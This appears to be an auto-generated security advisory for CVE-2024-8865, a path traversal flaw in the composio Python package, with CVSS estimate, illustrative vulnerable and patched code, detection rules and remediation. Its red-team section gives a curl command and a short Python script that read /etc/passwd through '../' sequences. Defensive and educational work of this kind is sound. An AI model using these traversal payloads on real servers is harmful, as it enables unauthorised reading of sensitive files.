CVE-2024-8865

Executive Summary

CVE-2024-8865 is a path traversal vulnerability discovered in composiohq composio up to version 0.5.8. The flaw resides in the path function within composio/server/api.py, where manipulation of the file argument allows an attacker to traverse directories outside the intended root folder. This can lead to unauthorized reading of sensitive files on the server. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No patch is currently available.

Supply Chain & Package Security

This vulnerability affects the composio Python package. Users of this package should treat it as a supply chain risk. The lack of vendor response and absence of a patch means that any application depending on composio <= 0.5.8 is vulnerable. Organizations should consider forking the repository and applying a manual fix or replacing the dependency.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete or missing vector data. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the exploit can be triggered remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – sensitive files can be read.
• Integrity (I): None (N) – no file modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High – due to remote exploitability, no authentication required, and public exploit availability.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The path function in composio/server/api.py takes a file argument from user input and uses it to construct a file path without proper sanitization. An attacker can inject ../ sequences to escape the intended directory and access arbitrary files on the server.

Root Cause: The application fails to validate or sanitize the file parameter, allowing path traversal sequences.

Attack Vector: An HTTP request to the vulnerable endpoint with a crafted file parameter.

Impact: An unauthenticated attacker can read sensitive files such as /etc/passwd, application configuration files, source code, or any other file readable by the server process.

Vulnerable vs. Patched Code

Vulnerable Code (composio/server/api.py, <= 0.5.8):

@app.route('/api/file')
def get_file():
    file_name = request.args.get('file')
    # No sanitization - vulnerable to path traversal
    file_path = os.path.join('/app/data', file_name)
    if os.path.exists(file_path):
        with open(file_path, 'r') as f:
            return f.read()
    else:
        return 'File not found', 404

Patched Code (hypothetical fix):

import os

@app.route('/api/file')
def get_file():
    file_name = request.args.get('file')
    # Sanitize: remove path traversal sequences
    safe_name = os.path.basename(file_name)
    file_path = os.path.join('/app/data', safe_name)
    # Ensure the resolved path is within the intended directory
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath('/app/data')):
        return 'Invalid path', 400
    if os.path.exists(real_path):
        with open(real_path, 'r') as f:
            return f.read()
    else:
        return 'File not found', 404

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy composio version 0.5.8 in a Docker container.
2. Ensure the server is accessible on port 8000.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/file?file=...).
2. Craft a payload to read /etc/passwd:

   GET /api/file?file=../../../etc/passwd HTTP/1.1
   Host: target:8000
   

3. Send the request using curl:

   curl "http://target:8000/api/file?file=../../../etc/passwd"
   

4. The server returns the contents of /etc/passwd.

Automated Exploit Script (Python):

import requests

target = "http://target:8000"
payload = "../../../etc/passwd"
url = f"{target}/api/file?file={payload}"
response = requests.get(url)
print(response.text)

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing ../ or ..%2f in the file parameter.
2. Alert on any access to sensitive files like /etc/passwd, /etc/shadow, or application configuration files.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/api/file" AND uri_query=*file=*..*
| table _time, clientip, uri_query, status

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/file with file parameter containing ../ or ..%2f.
  • Outbound connections from the server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or other sensitive files.
  • Log entries showing file read errors for paths outside the intended directory.

• Log IOCs:

  • Web server logs with file=../../../ patterns.
  • Application logs showing File not found for paths that should not be requested.

Detection Engineering

YARA Rule

rule CVE_2024_8865_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting composio CVE-2024-8865"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8865"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint = "/api/file"
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2024-8865 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against composio API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'file=../'
            - 'file=..\\'
            - 'file=%2e%2e%2f'
            - 'file=%2e%2e/'
        cs-uri-stem|contains: '/api/file'
    condition: selection
falsepositives:
    - Legitimate use of file names containing dots (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8865 Path Traversal Attempt"; flow:to_server,established; content:"/api/file"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\/)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required for business operations.
2. Apply input validation – sanitize the file parameter to remove path traversal sequences.
3. Use a Web Application Firewall (WAF) to block requests containing ../ or encoded variants.

Long-term Fix:

1. Patch the code – implement proper path sanitization as shown in the patched code example.
2. Upgrade to a patched version once available (monitor composiohq releases).
3. Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Restrict file access by running the application in a chroot environment or container with minimal file system permissions.

Report generated by Valters IT DevSecOps & CTI Expert System